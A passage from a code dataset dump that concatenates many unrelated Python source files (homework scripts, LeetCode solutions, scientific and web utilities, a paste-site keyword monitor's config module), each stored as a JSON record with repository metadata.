super().__eq__(tuple(other)) # type: ignore[arg-type]\n except TypeError:\n return False\n\n def find_handler(self, parameter: Parameter) -> Component:\n \"\"\"Look for a component that can handles given parameter.\n\n :param parameter: a parameter.\n :return: the component that handles the parameter.\n \"\"\"\n for component in self:\n if component.can_handle_parameter(parameter):\n return component\n else:\n raise ComponentNotFound(parameter)\n","repo_name":"vortico/flama","sub_path":"flama/injection/components.py","file_name":"components.py","file_ext":"py","file_size_in_byte":3708,"program_lang":"python","lang":"en","doc_type":"code","stars":240,"dataset":"github-code","pt":"44"} +{"seq_id":"39211956182","text":"source = [\n {\n \"name\": \"Kovalchuk Oleksiy\",\n \"specialty\": 301,\n \"math\": 175,\n \"lang\": 180,\n \"eng\": 155,\n },\n {\n \"name\": \"Ivanchuk Boryslav\",\n \"specialty\": 101,\n \"math\": 135,\n \"lang\": 150,\n \"eng\": 165,\n },\n {\n \"name\": \"Karpenko Dmitro\",\n \"specialty\": 201,\n \"math\": 155,\n \"lang\": 175,\n \"eng\": 185,\n },\n]\n\ndef save_applicant_data(source, output):\n\n # Use the context manager with to open the output file in write mode\n with open(output, \"w\") as output_file:\n\n # Loop through the source list\n for applicant in source:\n\n # Get the name, specialty, and scores of the applicant\n name = applicant[\"name\"]\n specialty = applicant[\"specialty\"]\n math = applicant[\"math\"]\n lang = applicant[\"lang\"]\n eng = applicant[\"eng\"]\n\n # Create a string with the applicant data, separated by commas\n data = f\"{name},{specialty},{math},{lang},{eng}\\n\"\n\n # Write the data to the output file\n output_file.write(data)\n #print(data)\n\n#save_applicant_data(source, output)\n#save_applicant_data(source)\n \n# This function will save the specified list from the source parameter to a file from the output parameter. It will use the context manager with to open and close the output file automatically. It will loop through the source list and get the name, specialty, and scores of each applicant. It will create a string with the applicant data, separated by commas, and write it to the output file. It will write the new contents of the output file using the write method. However, it will not handle any errors or exceptions that may occur while opening or writing to the file. If you want to make your code more robust, you will need to add some error handling mechanisms.","repo_name":"dmitrykutsenko/Goit_repo","sub_path":"mod_06/hw_06_08.py","file_name":"hw_06_08.py","file_ext":"py","file_size_in_byte":1895,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"1808036204","text":"import json\n\n# create a simple JSON array\njsons = '{\"key1\":\"value1\",\"key2\":\"value2\",\"key3\":\"value3\"}'\n\n# change the JSON string into dict\njsonObject = json.loads(jsons)\nprint(type(jsonObject))\n# print the keys and values\nfor key in jsonObject:\n value = jsonObject[key]\n print(\"The key and value are {} = {}\".format(key, value))\n","repo_name":"PixelNoob/PythonNoob","sub_path":"scripts/jsoon_loop.py","file_name":"jsoon_loop.py","file_ext":"py","file_size_in_byte":334,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"18621622965","text":"import os\n\nimport pandas as pd\n\nbase_dir = \"extracted_data\"\nfiles_list_dir = base_dir+\"/data.xlsx\"\nskipped_pages_list_dir = base_dir+\"/skipped_pages.xlsx\"\n\n\nif not os.path.isdir(base_dir):\n os.mkdir(base_dir)\n\nif not os.path.isfile(files_list_dir):\n df = pd.DataFrame({'pid': [],'name':[],'date':[],'approval':[]})\n df.to_excel(files_list_dir, index=False)\n\nif not os.path.isfile(skipped_pages_list_dir):\n df = pd.DataFrame({'pages': []})\n df.to_excel(skipped_pages_list_dir, index=False)\n\n# if not os.path.isfile(ref_list_dir):\n# df = pd.DataFrame({'act1': [],'act2':[]})\n# df.to_excel(ref_list_dir, index=False)","repo_name":"fatemeq/standard","sub_path":"abdal_crawlers/crawler-qavanin-ir-list/save/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":636,"program_lang":"python","lang":"uk","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"5584290311","text":"from PIL import ImageDraw\n\n\ndef get_kernel_bounds(x, y, kernel_width, kernel_height, image_width, image_height):\n x_min = max(0, (kernel_width // 2) - x)\n x_max = min(kernel_width, (image_width - x) + 1)\n y_min = max(0, (kernel_height // 2) - y)\n y_max = min(kernel_height, (image_height - y) + 1)\n return x_min, x_max, y_min, y_max\n\n\ndef calculate_pixel(kernel, pixels, image_width, image_height, x, y):\n kernel_height_half = int(kernel.shape[0]/2)\n kernel_width_half = int(kernel.shape[1]/2)\n x_min, x_max, y_min, y_max = get_kernel_bounds(x, y, kernel.shape[1], kernel.shape[0], image_width, image_height)\n color_sum = 0\n\n for kernel_x in range(x_min, x_max):\n for kernel_y in range(y_min, y_max):\n pos_x = x + kernel_x - kernel_width_half\n pos_y = y + kernel_y - kernel_height_half\n color_sum += pixels[pos_x, pos_y] * kernel[kernel_y, kernel_x]\n return color_sum\n\n\ndef convolve(image, output, kernel):\n draw = ImageDraw.Draw(output)\n pixels = image.load()\n for y in range(0, image.height):\n for x in range(0, image.width):\n color_sum = calculate_pixel(kernel, pixels, image.width, image.height, x, y)\n draw.point((x, y), int(color_sum))\n","repo_name":"AlbinOdelstav/computer-vision","sub_path":"Feature detection/conv.py","file_name":"conv.py","file_ext":"py","file_size_in_byte":1253,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"36577494015","text":"from numpy import *\nimport matplotlib.pyplot as plt\nfrom scipy.integrate import odeint\n\n###################################\n###CONSTANTES\n###################################\n\nG=6.673E-11 #[N*(m/kg)^2] costante gravitacional\nC=299792458.0 #[m/s] velocidad de la luz\nM=1.989E30 #[kg] masa del sol\nRs=2*G*M/(C**2) #radio schwarzchild\nE=0.9*C**2\n\n##################################\n###SISTEMA DE ECUACIONES\n##################################\n\n#fo=dt/dlam f1=dphi/dlam f2=dr/dlam\ndef f(y,lam):\n ri = y[0]\n phi= y[1]\n L=(E/C**2)*ri*sin(phi)\n \n f1=L/ri**2\n f2=sqrt(fabs(((E/C**2)**2)-((L**2/ri**2)*(1-(Rs/ri)))))\n return [f1,f2]\n\n\n##################################\n###VALORES INICIALES\n##################################\n\nro = 2.5*Rs #radio inicial\nphio= pi/3.0 #angulo inicial\nyo = [ro,phio] #verctor inicial\nlam = linspace(0,1.0E5,6.0E5) #grid de integracion\n\n##################################\n###SOLUCION DEL SISTEMA\n##################################\n\nsol=odeint(f,yo,lam)\nPHI =sol[:,0]\nR =sol[:,1]\n'''\nfor i in xrange(len(PHI)):\n if R[i]==nan:\n R[i]=0.\n print' nan R'\n if PHI[i]==nan:\n PHI[i]=0.\n print' nan PHI'\n'''\n'''\nprint PHI\nprint R\n'''\n#plt.polar(array(PHI),array(R))\n#plt.plot(array(R*cos(PHI)),array(R*sin(PHI)))\nplt.plot(array(R),array(PHI))\nplt.show()\n\n","repo_name":"cosmolejo/cosmolejo.github.io","sub_path":"Metodos_Numericos/Problema_3_Alejandro_Mesa_1017228006/foton.py","file_name":"foton.py","file_ext":"py","file_size_in_byte":1387,"program_lang":"python","lang":"de","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"21845690100","text":"from collections import namedtuple\nfrom .stuff import Variable, Symbol\nfrom .util import dfs\n\nMatch = namedtuple(\"Match\", [\"pattern\", \"path\", \"symbols\"])\n\ndef normalize_path(base, path):\n if len(path) < len(base):\n return None\n if len(path) == len(base):\n if path == base:\n return ()\n return None\n\n if path[: len(base)] == base:\n return path[len(base) :]\n return None\n\n\n# returns list of pairs (pattern, path)\ndef tree_match(tree, ptns):\n filteredPatterns = []\n for path, vertex in dfs(tree):\n # add all patterns as potentially being rooted at this vertex\n filteredPatterns += [Match(p, path, dict()) for p in ptns]\n\n # filter out the ones that don't match at this particular path\n failed = set()\n for idx, (ptn, ptnRootPath, ptnSymbols) in enumerate(filteredPatterns):\n normalPath = normalize_path(ptnRootPath, path)\n if normalPath is None:\n # the pattern doesn't overlap with this vertex\n continue\n\n # extract the relevant portion of the pattern\n ptnObj = ptn\n skip = False\n for p in normalPath:\n if isinstance(ptnObj, Variable):\n # the current portion of the target is inside a variable\n skip = True\n elif isinstance(ptnObj, Symbol):\n raise Exception(\"I thought this shouldn't happen\")\n else:\n ptnObj = ptnObj[p]\n\n if skip:\n continue\n\n # try to match the pattern object to the current vertex\n if isinstance(ptnObj, tuple):\n # the vertex must be a tuple of the same length\n if not isinstance(vertex, tuple) or len(vertex) != len(ptnObj):\n failed.add(idx)\n elif isinstance(ptnObj, Variable):\n if ptnObj.name in ptnSymbols and ptnSymbols[ptnObj.name] != vertex:\n failed.add(idx)\n else:\n ptnSymbols[ptnObj.name] = vertex\n elif ptnObj != vertex:\n failed.add(idx)\n\n filteredPatterns = [\n y\n for _, y in filter(\n lambda x: x[0] not in failed, enumerate(filteredPatterns)\n )\n ]\n\n return filteredPatterns","repo_name":"sidmani/rtrs","sub_path":"rtrs/match.py","file_name":"match.py","file_ext":"py","file_size_in_byte":2374,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"12602150610","text":"#\n# @lc app=leetcode.cn id=1018 lang=python3\n#\n# [1018] 可被 5 整除的二进制前缀\n#\n# https://leetcode-cn.com/problems/binary-prefix-divisible-by-5/description/\n#\n# algorithms\n# Easy (34.85%)\n# Likes: 17\n# Dislikes: 0\n# Total Accepted: 2.5K\n# Total Submissions: 6.5K\n# Testcase Example: '[0,1,1]'\n#\n# 给定由若干 0 和 1 组成的数组 A。我们定义 N_i：从 A[0] 到 A[i] 的第 i\n# 个子数组被解释为一个二进制数（从最高有效位到最低有效位）。\n#\n# 返回布尔值列表 answer，只有当 N_i 可以被 5 整除时，答案 answer[i] 为 true，否则为 false。\n#\n#\n#\n# 示例 1：\n#\n# 输入：[0,1,1]\n# 输出：[true,false,false]\n# 解释：\n# 输入数字为 0, 01, 011；也就是十进制中的 0, 1, 3 。只有第一个数可以被 5 整除，因此 answer[0] 为真。\n#\n#\n# 示例 2：\n#\n# 输入：[1,1,1]\n# 输出：[false,false,false]\n#\n#\n# 示例 3：\n#\n# 输入：[0,1,1,1,1,1]\n# 输出：[true,false,false,false,true,false]\n#\n#\n# 示例 4：\n#\n# 输入：[1,1,1,0,1]\n# 输出：[false,false,false,false,false]\n#\n#\n#\n#\n# 提示：\n#\n#\n# 1 <= A.length <= 30000\n# A[i] 为 0 或 1\n#\n#\n#\n\nfrom comm import *\n# @lc code=start\nclass Solution(object):\n def prefixesDivBy5(self, A: List[int]) -> bool:\n \"\"\"暴力法\n \"\"\"\n tmp = 0\n ans = []\n for i in A:\n tmp *= 2\n if i:\n tmp += 1\n tmp %= 5 # 只需要维护余数部分\n if tmp == 0:\n ans.append(True)\n else:\n ans.append(False)\n return ans\n\n# @lc code=end\n\nif __name__ == \"__main__\":\n s = Solution().prefixesDivBy5([0,1,1])\n print(s)\n","repo_name":"ruanimal/vscode-leetcode-cn","sub_path":"1018.可被-5-整除的二进制前缀.py","file_name":"1018.可被-5-整除的二进制前缀.py","file_ext":"py","file_size_in_byte":1718,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"26284429592","text":"import pandas as pd\nimport numpy as np\n\n##RSI Formula given data:\n#using 14 periods (time indicators)\n#calc avg gain:\n#calc avg loss:\n# |close - open| / open = //gain or loss over period\n\ndef RSI(array): #pass in date, and dataframe (array)\n #use pandas to interate through index: each has \n avg_gain = 0\n avg_loss = 0\n rsi_arr = []\n x = 0\n \n ##range(0,13) close = 3 open = 0\n for x in range(0,14):\n Close = array.iloc[x,3]\n Open = array.iloc[x,0]\n if Open > Close:\n gain = (Open - Close) / Open\n avg_gain = avg_gain + gain\n \n elif Close > Open:\n loss = (Close - Open) / Open\n avg_loss = avg_loss + loss\n\n else: continue\n\n avg_gain = avg_gain / len(array)\n avg_loss = avg_loss / len(array)\n\n if avg_loss == 0.0 or avg_gain == 0.0:\n return [0.0]\n\n rs = avg_gain / avg_loss\n rsi = 100 - (100 / (1+rs))\n rsi_arr.append(rsi)\n \n ##greater than 14 entries:\n \n for x in range(14,len(array)):\n Close = array.iloc[x,3]\n Open = array.iloc[x,0]\n if Open > Close:\n gain = (Open - Close) / Open\n avg_gain = ((avg_gain + gain) * 13) / 14\n avg_loss = ((avg_loss + 0) * 13) / 14\n rs = avg_gain / avg_loss\n rsi = 100 - (100 / (1+rs))\n rsi_arr.append(rsi)\n \n elif Close > Open:\n loss = (Close - Open) / Open\n avg_gain = ((avg_gain + 0) * 13) / 14\n avg_loss = ((avg_loss + loss) * 13) / 14\n rs = avg_gain / avg_loss\n rsi = 100 - (100 / (1+rs))\n rsi_arr.append(rsi)\n \n else: continue\n\n \n #rsi will be last value (maybe get an array of last rsi values?)\n return rsi_arr\n\n\n#moving average\ndef MA(array):\n \n total = 0\n moving_avg = 0\n for x in range(len(array)):\n Close = array.iloc[x,3]\n total = total + Close\n \n moving_avg = total / (len(array))\n return moving_avg\n\n#moving average convergence divergence\n#Moving average convergence divergence (MACD) is a trend-following momentum indicator \n#that shows the relationship between two moving averages of a security’s price. \n#The MACD is calculated by subtracting the 26-period exponential moving average (EMA) \n#from the 12-period EMA\ndef MACD(array):\n MACD = 0\n SMA = MA(array)\n smooth_factor = 2 / ((len(array))+1)\n EMA_t = 0\n EMA_y = 0\n short_EMA_arr = []\n long_EMA_arr = []\n \n #short term EMA = 12 periods\n for x in range(14,26):\n price = array.iloc[x,0]\n EMA_t = (price * (smooth_factor)) + (EMA_y * (1-smooth_factor))\n short_EMA_arr.append(EMA_t)\n EMA_y = EMA_t\n \n \n #long term EMA = 26 periods\n EMA_y = 0\n for x in range(0,26):\n price = array.iloc[x,0]\n EMA_t = (price * (smooth_factor)) + (EMA_y * (1-smooth_factor))\n long_EMA_arr.append(EMA_t)\n EMA_y = EMA_t\n \n \n \n return MACD","repo_name":"adamhaze/DM-Crypto-Trading-Bot","sub_path":"indicator_funcs.py","file_name":"indicator_funcs.py","file_ext":"py","file_size_in_byte":3013,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"36778375149","text":"import argparse\nimport imp\nimport os.path\nimport sys\n\nfrom ConfigParser import ConfigParser\n\nfrom pkg_resources import load_entry_point\n\nfrom .mailer import Mailer\nfrom .pastebin_source import PastebinSource\nfrom .sqlite_backend import SqliteBackend\nfrom .text_backend import TextBackend\nfrom .cli_notifier import CliNotifier\n\nfrom .pastesource import PasteSource\nfrom .storage_backend import StorageBackend\nfrom .notifier import Notifier\n\n\ndef _read_keywords(fhandle):\n return [_.rstrip() for _ in fhandle]\n\n\ndef load_ep_object(epname, section_name=None):\n def _do_load(package, section_name, epname):\n try:\n return load_entry_point(package, section_name, epname)\n except ImportError as e:\n #print >> sys.stderr, 'failed to load entry point %s: %s' % (\n # epname, e)\n return None\n\n if not section_name:\n return _do_load('pastycake', 'pastycake', epname) or \\\n _do_load('pastycake', 'pastycake.ext', epname)\n else:\n return _do_load('pastycake', section_name, epname)\n\n\ndef _create_arg_parser():\n opts = argparse.ArgumentParser(description='harvest or snatch pastes')\n opts.add_argument('-a', '--alert_email', metavar='EMAIL', type=str,\n dest='alert_email', help='email to send alerts to',\n default=None, action='store'\n )\n opts.add_argument('-c', '--config', metavar='CFG',\n dest='config_fname', action='store', default=None,\n help='load the config from file CFG. a file ending in \\\n .py(co)? will be treated as python source \\\n whereas a file ending in .ini or .cfg will \\\n be treated as ini-style.'\n )\n opts.add_argument('-k', '--use_keyfile', metavar='KWFILE',\n dest='kwfile', type=argparse.FileType('r'),\n help='read the keywords from KWFILE. if not given \\\n as an argument, then the built-in \\\n DEFAULT_KEYWORDS will be used.'\n )\n opts.add_argument('-o', '--output', metavar='FILENAME',\n dest='filename', action='store', default=None,\n type=str,\n help='specify a different output filename'\n )\n opts.add_argument('gather_mode', metavar='MODE', type=str,\n choices=('harvest', 'snatch'),\n help=\"the mode to use. must be one of 'harvest' \\\n or 'snatch'\"\n )\n opts.add_argument('add_keywords', metavar='KEYWORDS', nargs='*',\n help='additional keywords to search for'\n )\n return opts\n\n\nclass Config(dict):\n _DEFAULT_KEYWORDS = [\n 'password',\n 'hack',\n ]\n\n def __init__(self, defaults=None):\n super(Config, self).__init__(defaults or dict())\n self._set_default_options()\n\n def _set_default_options(self):\n self['backend'] = SqliteBackend()\n self['keywords'] = self._DEFAULT_KEYWORDS\n self['notifiers'] = [CliNotifier()]\n self['modefunc'] = load_entry_point('pastycake', 'console_scripts',\n 'pastycake-harvest')\n self['sources'] = [PastebinSource()]\n\n def _load_python_config(self, filename):\n m = imp.new_module('pastycake_config')\n m.__file__ = filename\n\n try:\n execfile(filename, m.__dict__)\n except IOError as e:\n print >> sys.stderr, \"Failed to parse config file %s: %s\" % (\n filename, e)\n return\n\n self.update(m.__dict__)\n\n def _load_ini_config(self, filename):\n def _map_section(conf, sectname):\n return dict([(opt, val) for opt, val in conf.items(sectname)])\n\n p = ConfigParser()\n p.read(filename)\n\n if p.has_section('backend'):\n tmp = _map_section(p, 'backend')\n\n if 'type' not in tmp.keys():\n raise LookupError('backend without type specified')\n\n tmp_obj = load_ep_object(tmp['type'])\n assert(issubclass(tmp_obj, StorageBackend))\n\n del tmp['type']\n\n self['backend'] = tmp_obj(tmp)\n\n if p.has_section('keywords'):\n kws = []\n for _ in filter(lambda x: x.startswith('file'),\n p.options('keywords')):\n with open(p.get('keywords', _), 'r') as inkws:\n kws += _read_keywords(inkws)\n\n kws = list(set(kws))\n if p.has_option('keywords', 'add') and \\\n p.getboolean('keywords', 'add'):\n self['keywords'] += kws\n else:\n self['keywords'] = kws\n\n for _, _class in (('notifiers', Notifier), ('sources', PasteSource)):\n if p.has_section(_):\n tmp = []\n for opt in p.options(_):\n tmp_obj = load_ep_object(p.get(_, opt))\n assert(issubclass(tmp_obj, _class))\n\n obj_opts = _map_section(p, opt) if p.has_section(opt) \\\n else {}\n tmp.append(tmp_obj(obj_opts))\n\n assert(len(tmp))\n self[_] = tmp\n\n def parse_file(self, filename, format='py'):\n if format not in ('py', 'ini'):\n raise ValueError(\"invalid file format\")\n if format == 'py':\n self._load_python_config(filename)\n elif format == 'ini':\n self._load_ini_config(filename)\n\n def parse_cli(self, arguments=None):\n opts = _create_arg_parser()\n\n try:\n vals = opts.parse_args(arguments)\n except IOError as e:\n print >> sys.stderr, \"failed to parse options: %s\" % e\n sys.exit(1)\n\n if vals.config_fname:\n extension = os.path.splitext(vals.config_fname)[1]\n\n if extension.startswith('.py'):\n extension = 'py'\n elif extension in ('.ini', '.cfg'):\n extension = 'ini'\n else:\n extension = 'py'\n self.parse_file(vals.config_fname, extension)\n\n if vals.kwfile:\n self['keywords'].update(_read_keywords(vals.kwfile[0]))\n\n if vals.alert_email:\n self['notifiers'].append(Mailer(opts.alert_email))\n\n if vals.gather_mode not in ('harvest', 'snatch'):\n print >> sys.stderr, \"unknown gathering mode %s\" % vals.gather_mode\n elif vals.gather_mode == 'harvest':\n self['modefunc'] = load_entry_point('pastycake', 'console_scripts',\n 'pastycake-%s' %\n vals.gather_mode)\n else:\n self['modefunc'] = load_entry_point('pastycake', 'console_scripts',\n 'pastycake-snatch')\n self['backend'] = TextBackend()\n\n self['output.filename'] = vals.filename\n","repo_name":"9b/pastycake","sub_path":"pastycake/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":7271,"program_lang":"python","lang":"en","doc_type":"code","stars":34,"dataset":"github-code","pt":"44"} +{"seq_id":"74869409093","text":"def gcd(m,n):\n if n!= 0:\n return gcd(n, m%n)\n else:\n return abs(m)\n\nN = int(input())\nfor i in range(N):\n [m,n] = input().split(\" \")\n m,n = int(m), int(n)\n print(int(m*n/gcd(m,n)))\n","repo_name":"Zaehyeon2/Problem-Solvings","sub_path":"백준/Bronze/1934. 최소공배수/최소공배수.py","file_name":"최소공배수.py","file_ext":"py","file_size_in_byte":209,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"27916928728","text":"# 토마토 쉬운거\nimport sys\nfrom collections import deque\nread = sys.stdin.readline\n\ndx = [0, 1, -1, 0]\ndy = [1, 0, 0, -1]\nqueue = deque()\ngraph=[]\nm, n = map(int, read().split())\n\n# 익어있는 위치를 파악을 해야한다.\n\nfor i in range(n):\n tmp =[] # 빈리스트로 초기화\n tmp = list(map(int, read().split()))\n graph.append(tmp)\n for j in range(m):\n if graph[i][j]==1:\n queue.append([i, j])\n tx = i # n\n ty = j # m\n\n\nwhile queue:\n a, b = queue.popleft()\n for i in range(4):\n nx = a+dx[i]\n ny = b+dy[i]\n if 0<=nx; \", \"\").strip()\n cfacts[post_id][f_id].append(\n {\n \"stance\": stance,\n \"content\": content,\n }\n )\n examples = []\n for ex in read_jsonl(data_path):\n for f_id, f_stance in ex[\"labels\"].items():\n if f_stance == \"Not Relevant\":\n continue\n f_text = frames[f_id][\"text\"]\n text = ex[\"text\"]\n ex_id = ex[\"id\"]\n\n pf_cfacts = sorted(\n cfacts[ex_id][f_id], key=lambda x: stance_values.index(x[\"stance\"])\n )\n accept_rationale, reject_rationale, no_stance_rationale = pf_cfacts\n\n examples.append(\n {\n \"id\": f\"{ex_id}-{f_id}\",\n \"text\": text,\n \"frame\": f_text,\n \"images\": ex[\"images\"],\n \"accept_rationale\": accept_rationale,\n \"reject_rationale\": reject_rationale,\n \"no_stance_rationale\": no_stance_rationale,\n }\n )\n\n write_jsonl(output_path, examples)\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--cfact_path\", type=str, required=True)\n parser.add_argument(\"--data_path\", type=str, required=True)\n parser.add_argument(\"--frame_path\", type=str, required=True)\n parser.add_argument(\"--output_path\", type=str, required=True)\n args = parser.parse_args()\n\n main(\n args.cfact_path,\n args.data_path,\n args.frame_path,\n args.output_path,\n )\n","repo_name":"Supermaxman/LLaVA","sub_path":"llava/serve/format_inputs_cfact_verify.py","file_name":"format_inputs_cfact_verify.py","file_ext":"py","file_size_in_byte":2362,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"34"} +{"seq_id":"3824497494","text":"def solution(line):\n answer = []\n position = []\n max_x = -1e15\n max_y = -1e15\n min_x = 1e15\n min_y = 1e15\n\n for i in range(len(line)):\n a, b, e = line[i]\n for j in range(i + 1, len(line)):\n c, d, f = line[j]\n\n # 두 직선이 같거나 평행한 경우는 건너뜀\n if (a * d) - (b * c) == 0:\n continue\n\n # 교점 구하는 공식 사용\n x = (b * f - e * d) / (a * d - b * c)\n y = (e * c - a * f) / (a * d - b * c)\n\n # 정수형 교점만 저장\n if x == int(x) and y == int(y):\n x = int(x)\n y = int(y)\n position.append([x, y])\n\n # 교점을 구하는 즉시 2차원 배열을 위한 max_x, min_x, max_y, min_y 를 구해준다.\n if max_x < x:\n max_x = x\n if max_y < y:\n max_y = y\n if min_x > x:\n min_x = x\n if min_y > y:\n min_y = y\n\n # 별을 찍을 2차원 배열 생성\n grid = [['.' for _ in range(min_x, max_x + 1)] for _ in range(min_y, max_y + 1)]\n\n # 이제 position 교점 좌표를 기준으로 이차원 배열에 별을 삽입한다.\n for pos in position:\n x, y = pos\n\n # 이차원 배열의 행은 좌표평면 상 y, 열은 좌표평면 상 x 이다.\n grid[y - min_y][x - min_x] = '*'\n\n answer = [''.join(grid_line) for grid_line in grid]\n\n print()\n # 역순으로 뒤집고 반환\n return answer[::-1]\n\nprint(solution([[2, -1, 4], [-2, -1, 4], [0, -1, 1], [5, -8, -12], [5, 8, 12]]))\nprint(solution([[0, 1, -1], [1, 0, -1], [1, 0, 1]]))\nprint(solution([[1, -1, 0], [2, -1, 0]]))\nprint(solution([[1, -1, 0], [2, -1, 0], [4, -1, 0]]))","repo_name":"juni8453/python_practice","sub_path":" problem_solving_strategy/복습/matrix/교점에_별_만들기_복습.py","file_name":"교점에_별_만들기_복습.py","file_ext":"py","file_size_in_byte":1832,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"73784113696","text":"import unittest\n\nfrom manage_command_line_factory import ManageCommandLineFactory\nimport function_create_canvas_for_testing\n\n\nclass TestManageCommandLineFactory(unittest.TestCase):\n def test_create(self):\n list_command = ['L', '5', '4', '15', '4']\n width = 20\n height = 15\n x1 = int(list_command[1])\n x2 = int(list_command[3])\n y = int(list_command[2])\n test_canvas = function_create_canvas_for_testing(width, height)\n for i in range(x1, x2 + 1):\n test_canvas[y][i] = 'x'\n\n drawing_tool = function_create_canvas_for_testing(width, height)\n CanvasTest = ManageCommandLineFactory(test_canvas)\n CanvasTest.find_points(list_command)\n result = CanvasTest.create(drawing_tool)\n\n assert result == test_canvas\n","repo_name":"Faanagor/Drawing_tool","sub_path":"test/test_manage_command_line_factory .py","file_name":"test_manage_command_line_factory .py","file_ext":"py","file_size_in_byte":807,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"36136680654","text":"class Solution(object):\n def rob(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int\n \"\"\"\n # Bottom-up\n if len(nums) == 1:\n return nums[0]\n p_0 = 0\n pp_0 = 0\n for i in range(1,len(nums)):\n p_0, pp_0 = max(pp_0 + nums[i], p_0), p_0\n \n p_1 = 0\n pp_1 = 0\n for i in range(len(nums) - 1):\n p_1, pp_1 = max(pp_1 + nums[i], p_1), p_1\n \n return max(p_0, p_1)","repo_name":"JinlinSong/leetcode","sub_path":"213.py","file_name":"213.py","file_ext":"py","file_size_in_byte":497,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"71120079457","text":"\"\"\"\nDynamic Program for the Rod Cutting (maximising product) Problem as taught in class. \n28th January, 2020\n\"\"\"\n\ndef calc_max(result,n):\n\tfor i in range(2,n+1):\n\t\tfor j in range(1,i//2+1):\n\t\t\tresult[i] = max(result[i],j*(i-j),j*(result[i-j]))\n\treturn result\nif __name__ == '__main__':\n\tn = int(input())\n\tresult = [0 for i in range(n+1)]\n\tresult = calc_max(result,n)\n\tprint(result)\n","repo_name":"v-hegde31/APS-2020","sub_path":"CodeLib/4-RodCutMax.py","file_name":"4-RodCutMax.py","file_ext":"py","file_size_in_byte":382,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"34"} +{"seq_id":"25390362033","text":"# -*- coding: utf-8 -*-\n\nfrom imio.smartweb.core.testing import IMIO_SMARTWEB_CORE_INTEGRATION_TESTING\nfrom imio.smartweb.core.testing import ImioSmartwebTestCase\nfrom imio.smartweb.core.viewlets.category import CategoryViewlet\nfrom plone import api\nfrom plone.app.testing import setRoles\nfrom plone.app.testing import TEST_USER_ID\n\n\nclass TestCategories(ImioSmartwebTestCase):\n layer = IMIO_SMARTWEB_CORE_INTEGRATION_TESTING\n\n def setUp(self):\n \"\"\"Custom shared utility setup for tests\"\"\"\n self.request = self.layer[\"request\"]\n self.portal = self.layer[\"portal\"]\n setRoles(self.portal, TEST_USER_ID, [\"Manager\"])\n\n def test_viewlet_on_content_with_no_category(self):\n viewlet = CategoryViewlet(self.portal, self.request, None, None)\n viewlet.update()\n self.assertFalse(viewlet.available())\n self.assertIsNone(viewlet.get_category())\n\n def test_viewlet_on_page(self):\n page = api.content.create(\n container=self.portal,\n type=\"imio.smartweb.Page\",\n title=\"Page\",\n )\n viewlet = CategoryViewlet(page, self.request, None, None)\n viewlet.update()\n self.assertFalse(viewlet.available())\n self.assertIsNone(viewlet.get_category())\n page.taxonomy_page_category = \"publication\"\n self.assertTrue(viewlet.available())\n self.assertEqual(viewlet.get_category(), \"Publication\")\n\n def test_viewlet_on_procedure(self):\n procedure = api.content.create(\n container=self.portal,\n type=\"imio.smartweb.Procedure\",\n title=\"Procedure\",\n )\n viewlet = CategoryViewlet(procedure, self.request, None, None)\n viewlet.update()\n self.assertFalse(viewlet.available())\n self.assertIsNone(viewlet.get_category())\n procedure.taxonomy_procedure_category = \"autorisation_carte\"\n self.assertTrue(viewlet.available())\n self.assertEqual(viewlet.get_category(), \"Authorization and card\")\n","repo_name":"IMIO/imio.smartweb.core","sub_path":"src/imio/smartweb/core/tests/test_categories.py","file_name":"test_categories.py","file_ext":"py","file_size_in_byte":2012,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"34"} +{"seq_id":"26372187985","text":"\n\n\"\"\"\nMake an image for masking a powder diagram to convert it to a set of\nisolated peaks\n\"\"\"\n\n\nfrom ImageD11 import transform, parameters, blobcorrector\nimport numpy as np\nfrom fabio.openimage import openimage\n\ndef make_powder_mask( parfile,\n ndeg = 1,\n splinefile=None,\n dims=(2048, 2048) ):\n \"\"\"\n Compute a two theta and azimuth image\n \"\"\"\n pars = parameters.parameters()\n pars.loadparameters( parfile )\n if splinefile is None:\n spatial = blobcorrector.perfect()\n else:\n spatial = blobcorrector.correctorclass( splinefile )\n xim, yim = spatial.make_pixel_lut ( dims )\n peaks = [ np.ravel( xim ) , np.ravel( yim ) ]\n tth , eta = transform.compute_tth_eta( peaks , **pars.get_parameters() )\n tth.shape = dims\n eta.shape = dims\n # Assume a circle geometry for now\n # tth * eta ~ length on detector\n # lim = tth * eta\n # need some idea how to cut it up...\n # degree bins\n m = (eta.astype(int) % 2)==0\n return m\n\nif __name__==\"__main__\":\n import sys\n parfile = sys.argv[1]\n m = make_powder_mask( parfile )\n obj = openimage(sys.argv[2])\n np.multiply( obj.data , m , obj.data )\n obj.write( sys.argv[3])\n\n","repo_name":"FABLE-3DXRD/ImageD11","sub_path":"sandbox/make_powder_mask.py","file_name":"make_powder_mask.py","file_ext":"py","file_size_in_byte":1254,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"44"} +{"seq_id":"35446663657","text":"__doc__ = \"\"\"This module contains tools to import, hack and slice 